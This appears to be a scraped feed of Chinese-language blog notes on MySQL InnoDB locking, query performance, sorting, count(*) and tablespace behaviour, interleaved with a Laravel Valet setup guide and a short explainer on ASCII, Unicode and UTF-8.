这个例子里,session A 的 delete 语句加了 limit 2。你知道表 t 里 c=10 的记录其实只有两条,因此加不加 limit 2,删除的效果都是一样的,但是加锁的效果却不同。可以看到,session B 的 insert 语句执行通过了,跟案例六的结果不同。
这是因为,案例七里的 delete 语句明确加了 limit 2 的限制,因此在遍历到 (c=10, id=30) 这一行之后,满足条件的语句已经有两条,循环就结束了。
也就是如果这里的 delete 语句没有加上 limit 2 这个限制,后面的 insert 语句是会被锁住的,因为c 是普通索引,因此仅访问 c=10 这一条记录是不能马上停下来的,需要向右遍历,查到 c=15 才放弃。根据原则 2,访问到的都要加锁,因此要给 (10,15] 加 next-key lock。
因此,索引 c 上的加锁范围就变成了从(c=5,id=5) 到(c=10,id=30) 这个前开后闭区间,如下图所示:
可以看到,(c=10,id=30)之后的这个间隙并没有在加锁范围里,因此 insert 语句插入 c=12 是可以执行成功的。
这个例子对我们实践的指导意义就是,在删除数据的时候尽量加 limit。这样不仅可以控制删除数据的条数,让操作更安全,还可以减小加锁的范围。
next-key lock 实际上是间隙锁和行锁加起来的结果。
你可能会问,session B 的 next-key lock 不是还没申请成功吗?
其实是这样的,session B 的“加 next-key lock(5,10] ”操作,实际上分成了两步,先是加 (5,10) 的间隙锁,加锁成功;然后加 c=10 的行锁,这时候才被锁住的。
也就是说,我们在分析加锁规则的时候可以用 next-key lock 来分析。但是要知道,具体执行的时候,是要分成间隙锁和行锁两段来执行的。
课程重点:
下面的示例都是基于表 t 进行展开的,建表和初始化语句如下:
1 | CREATE TABLE `t` ( |
下面的语句序列,是怎么加锁的,加的锁又是什么时候释放的呢?
1 | begin; |
这个语句会命中 d=5 的这一行,对应的主键 id=5,因此在 select 语句执行完成后,id=5 这一行会加一个写锁,而且由于两阶段锁协议,这个写锁会在执行 commit 语句的时候释放。
由于字段 d 上没有索引,因此这条查询语句会做全表扫描。那么,其他被扫描到的,但不满足条件 d=5
的记录,会不会被加锁呢。
答案是,也会被锁住。
幻读指的是一个事务在前后两次查询同一个范围的时候,后一次查询看到了前一次查询没有看到的行。
假设只在 id=5 这一行加行锁,会产生数据一致性问题。
我们把扫描过程中碰到的行,也都加上写锁,再来看看执行效果。
由于 session A 把所有的行都加了写锁,所以 session B 在执行第一个 update 语句的时候就被锁住了。需要等到 T6 时刻 session A 提交以后,session B 才能继续执行。
这样对于 id=0 这一行,在数据库里的最终结果还是 (0,5,5)。在 binlog 里面,执行序列是这样的:
1 | insert into t values(1,1,5); /*(1,1,5)*/ |
但同时你也可以看到,id=1 这一行,在数据库里面的结果是 (1,5,5),而根据 binlog 的执行结果是 (1,5,100),也就是说幻读的问题还是没有解决。为什么我们已经这么“凶残”地,把所有的记录都上了锁,还是阻止不了 id=1 这一行的插入和更新呢?
原因很简单。在 T3 时刻,我们给所有行加锁的时候,id=1 这一行还不存在,不存在也就加不上锁。
也就是说,即使把所有的记录都加上锁,还是阻止不了新插入的记录,这也是为什么“幻读”会被单独拿出来解决的原因。
产生幻读的原因是,行锁只能锁住行,但是新插入记录这个动作,要更新的是记录之间的“间隙”。因此,为了解决幻读问题,InnoDB 只好引入新的锁,也就是间隙锁 (Gap Lock)。
顾名思义,间隙锁,锁的就是两个值之间的空隙。比如文章开头的表 t,初始化插入了 6 个记录,这就产生了 7 个间隙。
这样,当执行 select * from t where d=5 for update 的时候,就不止是给数据库中已有的 6 个记录加上了行锁,还同时加了 7 个间隙锁。这样就确保了无法再插入新的记录。
间隙锁和行锁合称 next-key lock,每个 next-key lock 是前开后闭区间。
也就是说这时候,在一行行扫描的过程中,不仅将给行加上了行锁,还给行两边的空隙,也加上了间隙锁。
现在你知道了,数据行是可以加上锁的实体,数据行之间的间隙,也是可以加上锁的实体。但是间隙锁跟我们之前碰到过的锁都不太一样。
比如行锁,分成读锁和写锁。下图就是这两种类型行锁的冲突关系。
也就是说,跟行锁有冲突关系的是“另外一个行锁”。
但是间隙锁不一样,跟间隙锁存在冲突关系的,是“往这个间隙中插入一个记录”这个操作。间隙锁之间都不存在冲突关系。
间隙锁的引入,可能会导致同样的语句锁住更大的范围,这其实是影响了并发度的。
select * from t where d=5 for update;
,由于字段 d 上没有索引,因此这条查询语句会做全表扫描。不满足条件 d= 5
的记录,也会被加锁,因为如果不加锁的话,会产生幻读。课程重点:
有时候,在 Mysql 中,只查一行记录,也会执行得特别慢。
当然上面说的这个问题,肯定不是在 MySQL 数据库本身就有很大的压力,导致数据库服务器 CPU 占用率很高或 ioutil(IO 利用率)很高,这种情况下所有语句的执行都有可能变慢。
为了便于描述,我还是构造一个表,基于这个表来说明今天的问题。这个表有两个字段 id 和 c,并且我在里面插入了 10 万行记录。
1 | CREATE TABLE `t` ( |
如下图所示,在表 t 执行下面的 SQL 语句:
1 | select * from t where id=1; |
查询结果长时间不返回。
一般碰到这种情况的话,大概率是表 t 被锁住了。接下来分析原因的时候,一般都是首先执行一下 show processlist 命令,看看当前语句处于什么状态。
然后我们再针对每种状态,去分析它们产生的原因、如何复现,以及如何处理。
通常前面的学习得知,MDL 锁是可能会导致整个表锁住的(增删改查都做不了)。
复现过程:
此时 session A 开启了事务,并没有释放,而 session B 需要 MDL 写锁,因此只能被阻塞(阻塞原因:MDL 读写锁是互斥的)
此时的解决方案就是,使用 show processlist 命令查看 Waiting for table metadata lock。
找出造成阻塞的 process id,把这个连接用 kill 命令断开即可。
MySQL 中对表做 flush 操作的用法,一般有以下两个:
这两个 flush 语句,如果指定表 t 的话,代表的是只关闭表 t;如果没有指定具体的表名,则表示关闭 MySQL 里所有打开的表。
但是正常这两个语句执行起来都很快,除非它们也被别的线程堵住了。
所以,出现 Waiting for table flush 状态的可能情况是:有一个 flush tables 命令被别的语句堵住了,然后它又堵住了我们的 select 语句。
重现步骤:
select sleep(1) from t
,故意每行都调用一次 sleep(1),这样这个语句默认要执行 10 万秒(依据表 t 的总行数)flush tables t
,关闭表 t,这时就需要等 session A 的查询结束
解决方案同时是,找出造成阻塞的 process id,把这个连接用 kill 命令断开即可。
现在,经过了表级锁的考验,我们的 select 语句终于来到引擎里了。
1 | select * from t where id=1 lock in share mode; |
由于访问 id=1 这个记录时要加读锁,如果这时候已经有一个事务在这行记录上持有一个写锁,我们的 select 语句就会被堵住。
复现步骤:
显然,session A 启动了事务,占有写锁,还不提交,是导致 session B 被堵住的原因。
Mysql 5.7 可以通过 sys.innodb_lock_waits 表查到。
1 | select * from sys.innodb_lock_waits where locked_table= '`test_dump`.`t`'; |
通过这个命令可以得到的信息还是挺多的,找到对应的线程 id,将其 kill 掉即可。
连接被断开的时候,会自动回滚这个连接里面正在执行的线程,也就释放了 id=1 上的行锁。
1 | select * from t where c=50000 limit 1; |
由于字段 c 上没有索引,这个语句只能走 id 主键顺序扫描,因此需要扫描 5 万行。
通过查询慢查询日志,可以确定,确实扫描了 5 万行,但是并不慢呀,2ms 就返回了。
坏查询不一定是慢查询。我们这个例子里面只有 10 万行记录,数据量大起来的话,执行时间就线性涨上去了。
扫描行数多,所以执行慢,这个很好理解。
但是接下来,我们再看一个只扫描一行,但是执行很慢的语句。
复现步骤如上图所示。
session A 先用 start transaction with consistent snapshot 命令启动了一个事务,之后 session B 才开始执行 update 语句。
session B 执行完 100 万次 update 语句后,生成了 100 万个回滚日志 (undo log)。
带 lock in share mode 的 SQL 语句,是当前读,因此会直接读到 1000001 这个结果,所以速度很快;而 select * from t where id=1 这个语句,是一致性读,因此需要从 1000001 开始,依次执行 undo log,执行了 100 万次以后,才将 1 这个结果返回。
课程重点:
在 MySQL 中,有很多看上去逻辑相同,但性能却差异巨大的 SQL 语句。对这些语句使用不当的话,就会不经意间导致整个数据库的压力变大。
当需要统计某张表的某个月份的合计数量时,这个时候通常会使用 month()
函数,类似的 SQL 语句如下:
1 | select count(*) from t where month(created_at)=7; |
对索引字段做函数操作,可能会破坏索引值的有序性,因此优化器就决定放弃走树搜索功能。
需要注意的是,优化器并不是要放弃使用这个索引。
在这个例子里,放弃了树搜索功能,优化器可以选择遍历主键索引,也可以选择遍历索引 created_at,优化器对比索引大小后发现,索引 created_at 更小,遍历这个索引比遍历主键索引来得更快。因此最终还是会选择索引 created_at。
所以,当使用 explain 命令查看这条 SQL 语句的执行计划时:
也就是说,由于在 created_at 字段加了 month() 函数操作,导致了全索引扫描。为了能够用上索引的快速定位能力,我们就要把 SQL 语句改成基于字段本身的范围查询。按照下面这个写法,优化器就能按照我们预期的,用上 created_at 索引的快速定位能力了。
1 | select count(*) from t where created_at >= '2022-06-01' and `created_at` <= '2022-07-01'; |
1 | select * from t where order_no = 110717; |
订单编号 order_no 这个字段上,本来就有索引,但是 explain 的结果却显示,这条语句需要走全表扫描。你可能也发现了,order_no 的字段类型是 varchar(32),而输入的参数却是整型,所以需要做类型转换。
那么,现在这里就有两个问题:
数据库里面类型这么多,这种数据类型转换规则更多,我记不住,应该怎么办呢?
这里有一个简单的方法,看 select “10” > 9 的结果:
从图中可知,select “10” > 9 返回的是 1,所以你就能确认 MySQL 里的转换规则了:在 MySQL 中,字符串和数字做比较的话,是将字符串转换成数字。
因此上面的语句对于优化器来说,相当于:
1 | select * from t where CAST(order_no AS signed int) = 110717; |
也就是说,这条语句触发了我们上面说到的规则:对索引字段做函数操作,优化器会放弃走树搜索功能。
1 | select d.* from tradelog l, trade_detail d where d.tradeid=l.tradeid and l.id=2; |
当联表查询时,这两个表的字符集不同,例如一个是 utf8,另一个是 utf8mb4,这时做表连接查询的时候用不上关联字段的索引。
字符集 utf8mb4 是 utf8 的超集,所以当这两个类型的字符串在做比较的时候,MySQL 内部的操作是,先把 utf8 字符串转成 utf8mb4 字符集,再做比较。
因此, 在执行上面这个语句的时候,需要将被驱动数据表里的字段一个个地转换成 utf8mb4,再跟 L2(id= 2) 做比较。
也就是说,实际上这个语句等同于下面这个写法:
1 | select * from trade_detail where CONVERT(traideid USING utf8mb4)=$L2.tradeid.value; |
CONVERT() 函数,在这里的意思是把输入的字符串转成 utf8mb4 字符集。
这就再次触发了我们上面说到的原则:对索引字段做函数操作,优化器会放弃走树搜索功能。
连接过程中要求在被驱动表的索引字段上加函数操作,是直接导致对被驱动表做全表扫描的原因。
课程重点:
order by rand
背后的执行流程Mysql 中的 rand()
函数通常用来做随机排序。
1 | select word from words order by rand() limit 3; |
这个语句的意思很直白,随机排序取前 3 个。虽然这个 SQL 语句写法很简单,但执行流程却有点复杂的。
先用 explain 命令来看看这个语句的执行情况:
Extra 字段显示 Using temporary,表示的是需要使用临时表;Using filesort,表示的是需要执行排序操作。
因此这个 Extra 的意思就是,需要临时表,并且需要在临时表上排序。
这条语句的执行流程是这样的:
查看慢查询日志(slow log,将 long_query_time 的时间设置为 0,这样所有的查询都会被记录到)来验证一下分析得到的扫描行数是否正确:
Rows_examined:20003 就表示这个语句执行过程中扫描了 20003 行,也就验证了我们分析得出的结论。
随机排序完整流程图:
图中的 pos 就是位置信息,你可能会觉得奇怪,这里的“位置信息”是个什么概念?在上一篇文章中,我们对 InnoDB 表排序的时候,明明用的还是 ID 字段。
这时候,我们就要回到一个基本概念:MySQL 的表是用什么方法来定位“一行数据”的。
如果创建的表没有主键,或者把一个表的主键删掉了,那么 InnoDB 会自己生成一个长度为 6 字节的 rowid 来作为主键。
这也就是排序模式里面,rowid 名字的来历。实际上它表示的是:每个引擎用来唯一标识数据行的信息。
order by rand() 使用了内存临时表,内存临时表排序的时候使用了 rowid 排序方法。
那么,是不是所有的临时表都是内存表呢?
其实不是的。tmp_table_size 这个配置限制了内存临时表的大小,默认值是 16M。如果临时表大小超过了 tmp_table_size,那么内存临时表就会转成磁盘临时表。
磁盘临时表使用的引擎默认是 InnoDB,是由参数 internal_tmp_disk_storage_engine 控制的。
我们先把问题简化一下,如果只随机选择 1 个 word 值,可以怎么做呢?思路上是这样的:
这个算法暂时称作随机算法 1。下面是执行语句的序列:
1 | select max(id),min(id) into @M,@N from words ; |
这个方法效率很高,因为取 max(id) 和 min(id) 都是不需要扫描索引的,而第三步的 select 也可以用索引快速定位,可以认为就只扫描了 3 行。但实际上,这个算法本身并不严格满足题目的随机要求,因为 ID 中间可能有空洞,因此选择不同行的概率不一样,不是真正的随机。
比如你有 4 个 id,分别是 1、2、4、5,如果按照上面的方法,那么取到 id=4 的这一行的概率是取得其他行概率的两倍。
如果这四行的 id 分别是 1、2、40000、40001 呢?这个算法基本就能当 bug 来看待了。
所以,为了得到严格随机的结果,可以用下面这个流程:
这个算法暂时称作随机算法 2。下面是执行语句的序列:
1 | select count(*) into @C from words; |
由于 limit 后面的参数不能直接跟变量,所以上述执行序列中,使用了 prepare+execute 的方法。你也可以把拼接 SQL 语句的方法写在应用程序中,会更简单些。
现在再看看,如果按照随机算法 2 的思路,要随机取 3 个 word 值呢?你可以这么做:
把这个算法,称作随机算法 3。下面是执行语句的序列:
1 | select count(*) into @C from t; |
order by rand()
,因为这个语句需要 Using temporary 和 Using filesort,查询的执行代价往往是比较大的。Valet 是为 Mac 提供的极简主义开发环境,没有 Vagrant ,也无需 /etc/hosts
文件,甚至可以使用本地隧道公开共享你的站点。
Laravel Valet 会在你的 Mac 上将 Nginx 设置为随系统启动后台运行,然后使用 DnsMasq , Valet 将所有的请求代理到 *.test
域名并指向本地安装的站点目录。
换句话说,一个速度极快的 Laravel 开发环境仅仅需要占用 7MB 内存。 Valet 并不是想要替代 Vagrant 或者 Homestead,只是提供另外一种选择,更加灵活、方便、以及占用更小的内存。
正式安装之前,首先更新一下 Homebrew。
1 | brew update |
然后安装各版本的 PHP:
1 | brew install shivammathur/php/php@7.3 |
这里安装多个版本的目的是,为后续切换版本做准备。
安装完 PHP 之后,就可以使用 Composer 了,将 Valet 作为全局服务进行安装。
1 | composer global require laravel/valet |
安装完 Valet 之后,还不能直接使用,需要安装 Valet 所依赖的服务(DnsMasq)。
1 | valet install |
直到上一步完成,整个安装过程终于结束了。
为了验证是否安装成功,可以 ping 一下 *.test
的任意域名,如果可以 ping 通并看到 127.0.0.1
,则表示服务正常。
使用 Valet 创建一个站点有两种方式:
上面两个命令都可以创建一个站点,valet park
算是 valet link
命令的升级版,可以一次创建 N 各站点。
快速创建一个站点:
1 | # cd /Users/boo/.config/valet/Sites/localhost 进入项目跟路径 |
只需要一个命令,一个站点就创建好了:
查看站点列表:
1 | $ valet links |
删除一个站点:
1 | $ valet unlink localhost |
当某个目录下面有多个项目需要创建站点时,使用 valet park
尤为方便。
1 | # cd /Users/boo/Sites 进入项目跟路径 |
使用 valet parked
命令可以查看所有使用 park 添加的站点:
1 | valet parked |
如果想把某个目录下面的所有站点都移除,可以使用 valet forget
命令,然后前提是这些站点都是使用 park 方式添加的。
valet paths
命令则是用来查看所有使用 valet park
添加站点的跟路径。
1 | valet paths |
Valet 切换 PHP 版本非常方便,因为前面已经安装好了多版本的 PHP,所以可以直接使用下面的命令进行切换:
1 | valet use php@7.3 |
Valet 常用命令
命令 | 描述 |
---|---|
valet log | 从 Valet 的服务中查看日志 |
valet restart | 重启 Valet 守护进程 |
valet start | 开启 Valet 守护进程 |
valet stop | 停止 Valet 守护进程 |
valet trust | 为 Brew 和 Valet 添加文件修改权限使 Valet 输入命令的时候不需要输入密码 |
valet uninstall | 完成卸载 Valet 守护进程 |
valet use php@7.2 | 切换PHP 版本 |
valet tld app | 切换顶级域名 |
课程重点:
从前面的内容中了解到了,为了避免全表扫猫,会在相关的字段上增加索引。
假设有一张这样的表:
1 | CREATE TABLE `t` ( |
对于下面这个语句,索引在 city 字段上面,我们用 explain 命令来看看这个语句的执行情况。
1 | select city,name,age from t where city='杭州' order by name limit 1000; |
Extra 这个字段中的“Using filesort”表示的就是需要排序,MySQL 会给每个线程分配一块内存用于排序,称为 sort_buffer。
为了说明这个 SQL 查询语句的执行过程,先来看一下 city 这个索引的示意图。
从图中可以看到,满足 city=’杭州’条件的行,是从 ID_X 到 ID_(X+N) 的这些记录。
通常情况下,这个语句执行流程如下所示 :
暂且把这个排序过程,称为全字段排序,执行流程的示意图如下所示,下一篇文章中我们还会用到这个排序。
图中“按 name 排序”这个动作,可能在内存中完成,也可能需要使用外部排序,这取决于排序所需的内存和参数 sort_buffer_size。
sort_buffer_size,就是 MySQL 为排序开辟的内存(sort_buffer)的大小。如果要排序的数据量小于 sort_buffer_size,排序就在内存中完成。但如果排序数据量太大,内存放不下,则不得不利用磁盘临时文件辅助排序。
在上面这个算法过程里面,只对原表的数据读了一遍,剩下的操作都是在 sort_buffer 和临时文件中执行的。但这个算法有一个问题,就是如果查询要返回的字段很多的话,那么 sort_buffer 里面要放的字段数太多,这样内存里能够同时放下的行数很少,要分成很多个临时文件,排序的性能会很差。
所以如果单行很大,这个方法效率不够好,
新的算法放入 sort_buffer 的字段,只有要排序的列(即 name 字段)和主键 id。
但这时,排序的结果就因为少了 city 和 age 字段的值,不能直接返回了,整个执行流程就变成如下所示的样子:
这个执行流程的示意图如下,暂且把这个排序过程,称为 rowid 排序
对比上面的全字段排序流程图可以发现,rowid 排序多访问了一次表 t 的主键索引,也就是步骤 7。
两种排序方式的区别:
这也就体现了 MySQL 的一个设计思想:如果内存够,就要多利用内存,尽量减少磁盘访问。
对于 InnoDB 表来说,rowid 排序会要求回表多造成磁盘读,因此不会被优先选择。
其实并不是所有的 order by 语句,都需要排序操作的。
从上面分析的执行过程,我们可以看到,MySQL 之所以需要生成临时表,并且在临时表上做排序操作,其原因是原来的数据都是无序的。
也就是说如果能够保证从索引上取出来的行,天然就是按某个顺序(递增或者递减)排列的话,那就可以不用再排序了。
所谓ASCII 码,就是一套字符编码,它规定了英文中的各种字符在计算机里表示形式。
ASCII 码一共规定了128个字符的编码,例如字母 a 的二进制编码是0110 0001
,把这个二进制转成十进制就是97。
所以字母 a 在ASCII 码表中对应的 ASCII值就是 97。
如果仔细思考一下,就会发现一个严重的问题,ASCII 码仅仅只是对英文字符进行编码。
可问题是,并不是所有国家的语言都是使用英文,于是,各个国家便有了自己的字符集。
什么是字符集?
字符集就是一个系统支持的所有抽象字符的集合,字符集说到底,它约定了不同字符在二进制上的表现形式。
常见的字符集:
可是新的问题又来了,如果放任各个国家使用自己的字符集就乱套了。
此时,如果能出现一个统一所有字符的字符集就好了,它收录了世界各国的文字,任何一个字符都可以在其中找到对应 的编码。
于是 Unicode 便诞生了。
它的出现解决了字符集大统一的问题,涵盖了各个国家的字符集,这就是 Unicode 字符集。
那么新的问题也随之而来了。
Unicode 只是一个字符集,它规定了不同的字符在二进制上的表示形式。
比如 “中” 这个汉字,它的 Unicode 编码是 \u4e2d
,4e2d
是 十六进制,转换成十进制是 20013,转换成二进制是 01001110 00101101
,这一个汉字,至少需要两个字节来存储。
问题就在于,Unicode 只是规定了这些字符对应的二进制值,但是并没有规定这些二进制值该如何存储。
这个汉字两个字节就能存储,但有些字符需要三个字节,甚至四个。
像 a 这种字符,以前用 ASCII 码的时候,用一个字节就能表示,但是在 Unicode 里如果采用两个字节或三个的固定长度编码,不仅空间利用率很差,同时与采用一个字节编码的 ASCII 字符集也无法兼容。
针对这些问题,UTF-8 编码方案便诞生了。
它是 Unicode 的一种实现,它只取了 Unicode 中最常用的一部分,通过可变长度编码方式来存储。
这样一来,既解决了Unicode 的编码问题,也尽可能地节约了空间。
对于ASCII 码表里的字符仍然用一个字节来存储,而一个汉字用三个字节来存储。
ASCII:一个字符集(一套字符编码),规定了 128 个字符的编码
Unicode:同样是一个字符集(一套字符编码),只不过它更大更完整,收录了世界各国的文字,任何一个字符都可以在其中找到对应 Unicode 编码
UTF-8:一种编码方案(是 Unicode 的实现),通过可变长的编码方式,解决不同字节大小的存储问题
在回答这个问题之前,首先来看看什么是编码和解码。
编码:将正常的字符选择任意类型的编码方式,转换为对应的二进制值,这个过程就是编码。无论使用哪一种编码方式进行编码,最终都是变成计算机的二进制值。
解码:一串二进制值,使用一种编码方式,转换成的对应的字符,这个过程称为解码。
解码时,可以使用任意的编码方式进行解码,但是往往只有一种编码方式可以显示正常,其他编码方式解出来的字符则都会是乱码。
但是这种有一个问题需要注意:
编码规范的字库表里面不包含目标字符,那就无法在字符集中找到对应的二进制值,这就会导致不可逆的乱码。
举个例子就是:ISO-8859-1 不包含中文字符,如果选择这种编码方式对中文字符进行编码,那么就算最终使用同样的编码方式进行解码,看到的始终都是乱码。
乱码说白了就是编码和解码使用的编码方式不一致导致的问题(当然,还有字库表不包含目标字符时也会出现)。
]]>课程重点:
count(*)
、count(id)
、count(1)
这几者的差别首先要明确的是,在不同的 MySQL 引擎中,count(*) 有不同的实现方式。
那为什么 InnoDB 不跟 MyISAM 一样,也把数字存起来呢?
这是因为即使是在同一个时刻的多个查询,由于多版本并发控制(MVCC)的原因,InnoDB 表“应该返回多少行”也是不确定的。
InnoDB 是索引组织表,主键索引树的叶子节点是数据,而普通索引树的叶子节点是主键值。
所以,普通索引树比主键索引树小很多。对于 count() 这样的操作,遍历哪个索引树得到的结果逻辑上都是一样的。因此,MySQL 优化器会找到最小的那棵树来遍历。*在保证逻辑正确的前提下,尽量减少扫描的数据量,是数据库系统设计的通用法则之一**。
如果你用过 show table status
命令的话,就会发现这个命令的输出结果里面也有一个 TABLE_ROWS 用于显示这个表当前有多少行,这个命令执行挺快的,那这个 TABLE_ROWS 能代替 count(*) 吗?
答案是不可以的。
TABLE_ROWS 就是从这个采样估算得来的,因此它也很不准。有多不准呢,官方文档说误差可能达到 40% 到 50%。所以,show table status 命令显示的行数也不能直接使用。
小结一下:
回到文章开头的问题,如果你现在有一个页面经常要显示交易系统的操作记录总数,到底应该怎么办呢?答案是,我们只能自己计数。
计数思路:找一个地方,把操作记录表的行数存起来。
对于更新很频繁的库来说,第一时间想到的就是缓存了。
可以使用 Redis 将表的总行数保存下来,这个表每被插入一行 Redis 计数就加 1,每被删除一行 Redis 计数就减 1。
这种方式下,读和更新操作都很快,可是,这是否就是完美的解决方案呢?
不是的,因为缓存可能会丢失。Redis 的数据不能永久地留在内存里,Redis 可能会异常重启。
另外就是将计数保存在缓存系统中的方式,还不只是丢失更新的问题。即使 Redis 正常工作,这个值还是逻辑上不精确的。
这里说的不精确是这么定义的:
如果把这个计数直接放到数据库里单独的一张计数表中,就可以很好地解决上面的两个问题。
只是这个方案相比上一个方案,在查询速度上面,前者更快一些。
经常会遇到一个问题:在 select count(?) from t 这样的查询语句里面,count(*)、count(主键 id)、count(字段) 和 count(1) 等不同用法的性能,有哪些差别?
首先需要弄清楚 count() 的语义。count() 是一个聚合函数,对于返回的结果集,一行行地判断,如果 count 函数的参数不是 NULL,累计值就加 1,否则不加。最后返回累计值。
所以,count(*)、count(主键 id) 和 count(1) 都表示返回满足条件的结果集的总行数;而 count(字段),则表示返回满足条件的数据行里面,参数“字段”不为 NULL 的总个数。
至于分析性能差别的时候,你可以记住这么几个原则:
对于 count(主键 id) 来说,InnoDB 引擎会遍历整张表,把每一行的 id 值都取出来,返回给 server 层。server 层拿到 id 后,判断是不可能为空的,就按行累加。
对于 count(1) 来说,InnoDB 引擎遍历整张表,但不取值。server 层对于返回的每一行,放一个数字“1”进去,判断是不可能为空的,按行累加。
单看这两个用法的差别的话,你能对比出来,count(1) 执行得要比 count(主键 id) 快。因为从引擎返回 id 会涉及到解析数据行,以及拷贝字段值的操作。
对于 count(字段) 来说:
也就是前面的第一条原则,server 层要什么字段,InnoDB 就返回什么字段。
但是 count(*) 是例外,并不会把全部字段取出来,而是专门做了优化,不取值。count(*) 肯定不是 null,按行累加。
看到这里,你一定会说,优化器就不能自己判断一下吗,主键 id 肯定非空啊,为什么不能按照 count(*) 来处理,多么简单的优化啊。
当然,MySQL 专门针对这个语句进行优化,也不是不可以。但是这种需要专门优化的情况太多了,而且 MySQL 已经优化过 count(*) 了,你直接使用这种用法就可以了。
所以结论是:按照效率排序的话,count(字段)<count(主键 id)<count(1)≈count(*)
,所以我建议你,尽量使用 count(*)
。
count(*)
,建议使用 count(*)
课程重点:
表数据既可以存在共享表空间里,也可以是单独的文件。这个行为是由参数 innodb_file_per_table 控制的:
从 MySQL 5.6.6 版本开始,它的默认值就是 ON 了。
建议不论使用 MySQL 的哪个版本,都将这个值设置为 ON。
因为,一个表单独存储为一个文件更容易管理,而且在你不需要这个表的时候,通过 drop table
命令,系统就会直接删除这个文件。而如果是放在共享表空间中,即使表删掉了,空间也是不会回收的。
B + 树索引示意图:
假设,我们要删掉 R4 这个记录,InnoDB 引擎只会把 R4 这个记录标记为删除。如果之后要再插入一个 ID 在 300 和 600 之间的记录时,可能会复用这个位置。但是,磁盘文件的大小并不会缩小。
在 InnoBD 中,数据是按页进行存储的,如果我们删掉了一个数据页上的所有记录,会怎么样?
答案是,整个数据页就可以被复用了。
但是,数据页的复用跟记录的复用是不同的。
记录的复用,只限于符合范围条件的数据。比如上面的这个例子,R4 这条记录被删除后,如果插入一个 ID 是 400 的行,可以直接复用这个空间。但如果插入的是一个 ID 是 800 的行,就不能复用这个位置了。
数据页的复用,当整个页从 B+ 树里面摘掉以后,可以复用到任何位置。以上图为例,如果将数据页 page A 上的所有记录删除以后,page A 会被标记为可复用。这时候如果要插入一条 ID=50 的记录需要使用新页的时候,page A 是可以被复用的。
如果相邻的两个数据页利用率都很小,系统就会把这两个页上的数据合到其中一个页上,另外一个数据页就被标记为可复用。
进一步地,如果我们用 delete 命令把整个表的数据删除呢?结果就是,所有的数据页都会被标记为可复用。但是磁盘上,文件不会变小。
你现在知道了,delete 命令其实只是把记录的位置,或者数据页标记为了“可复用”,但磁盘文件的大小是不会变的。也就是说,通过 delete 命令是不能回收表空间的。这些可以复用,而没有被使用的空间,看起来就像是“空洞”。
实际上,不止是删除数据会造成空洞,插入数据也会。
如果数据是按照索引递增顺序插入的,那么索引是紧凑的。但如果数据是随机插入的,就可能造成索引的数据页分裂。
假设图 1 中 page A 已经满了,这时我要再插入一行数据,会怎样呢?
可以看到,由于 page A 满了,再插入一个 ID 是 550 的数据时,就不得不再申请一个新的页面 page B 来保存数据了。页分裂完成后,page A 的末尾就留下了空洞(注意:实际上,可能不止 1 个记录的位置是空洞)。
另外,更新索引上的值,可以理解为删除一个旧的值,再插入一个新值。不难理解,这也是会造成空洞的。
也就是说,经过大量增删改的表,都是可能是存在空洞的。所以,如果能够把这些空洞去掉,就能达到收缩表空间的目的。
而重建表,就可以达到这样的目的。
可以新建一个与表 A 结构相同的表 B,然后按照主键 ID 递增的顺序,把数据一行一行地从表 A 里读出来再插入到表 B 中。
由于表 B 是新建的表,所以表 A 主键索引上的空洞,在表 B 中就都不存在了。显然地,表 B 的主键索引更紧凑,数据页的利用率也更高。如果我们把表 B 作为临时表,数据从表 A 导入表 B 的操作完成后,用表 B 替换 A,从效果上看,就起到了收缩表 A 空间的作用。
可以使用 alter table A engine=InnoDB 命令来重建表。在 MySQL 5.5 版本之前,这个命令的执行流程跟我们前面描述的差不多,区别只是这个临时表 B 不需要你自己创建,MySQL 会自动完成转存数据、交换表名、删除旧表的操作。
不过需要注意的是,在整个 DDL 过程中,表 A 中不能有更新。也就是说,这个 DDL 不是 Online 的。
另一个跟 Online 有关, 比较容易混淆的概念是 Inplace。
在上面的重建表的过程中,重建出来的数据会放在“tmp_file” 临时文件中,这个临时文件是 InnoDB 在内部创建出来的。整个 DDL 过程都在 InnoDB 内部完成。
对于 server 层来说,没有把数据挪动到临时表,是一个“原地”操作,这就是“Inplace”名称的来源。
所以,我现在问你,如果你有一个 1TB 的表,现在磁盘间是 1.2TB,能不能做一个 Inplace 的 DDL 呢?
答案是不能。因为,tmp_file 也是要占用临时空间的。
Online 和 Inplace 这两个逻辑之间的关系是什么?
alter table t engine=innodb,ALGORITHM=copy;
:这个 DDL 不是 Online 的alter table t engine=innodb,ALGORITHM=inplace;
:这个 DDL 是 Online 的课程重点:
当内存数据页跟磁盘数据页内容不一致的时候,我们称这个内存页为“脏页”。内存数据写入到磁盘后,内存和磁盘上的数据页的内容就一致了,称为“干净页”。
不论是脏页还是干净页,都在内存中。
接下来,我们用一个示意图来展示一下“孔乙己赊账”的整个操作过程。假设原来孔乙己欠账 10 文,这次又要赊 9 文。
回到文章开头的问题,你不难想象,平时执行很快的更新操作,其实就是在写内存和日志,而 MySQL 偶尔“抖”一下的那个瞬间,可能就是在刷脏页(flush)。
那么,什么情况会引发数据库的 flush 过程呢?
我们还是继续用咸亨酒店掌柜的这个例子,想一想:掌柜在什么情况下会把粉板上的赊账记录改到账本上?
这个场景,对应的就是 InnoDB 的 redo log 写满了。这时候系统会停止所有更新操作,把 checkpoint 往前推进,redo log 留出空间可以继续写。我在第二讲画了一个 redo log 的示意图,这里我改成环形,便于大家理解。
这种场景,对应的就是系统内存不足。当需要新的内存页,而内存不够用的时候,就要淘汰一些数据页,空出内存给别的数据页使用。如果淘汰的是“脏页”,就要先将脏页写到磁盘。
这个时候能否直接把内存淘汰掉,下次需要请求的时候,从磁盘读入数据页,然后拿 redo log 出来应用?
这里其实是从性能考虑的。如果刷脏页一定会写盘,就保证了每个数据页有两种状态:
一种是内存里存在,内存里就肯定是正确的结果,直接返回;
另一种是内存里没有数据,就可以肯定数据文件上是正确的结果,读入内存后返回。这样的效率最高。
第三种场景是,生意不忙的时候,或者打烊之后。这时候柜台没事,掌柜闲着也是闲着,不如更新账本。
这种场景,对应的就是 MySQL 认为系统“空闲”的时候。当然,MySQL“这家酒店”的生意好起来可是会很快就
能把粉板记满的,所以“掌柜”要合理地安排时间,即使是“生意好”的时候,也要见缝插针地找时间,只要有机会就刷一点“脏页”。
这种场景,对应的就是 MySQL 正常关闭的情况。这时候,MySQL 会把内存的脏页都 flush 到磁盘上,这样下次 MySQL 启动的时候,就可以直接从磁盘上读数据,启动速度会很快。
四种场景对应性能分析
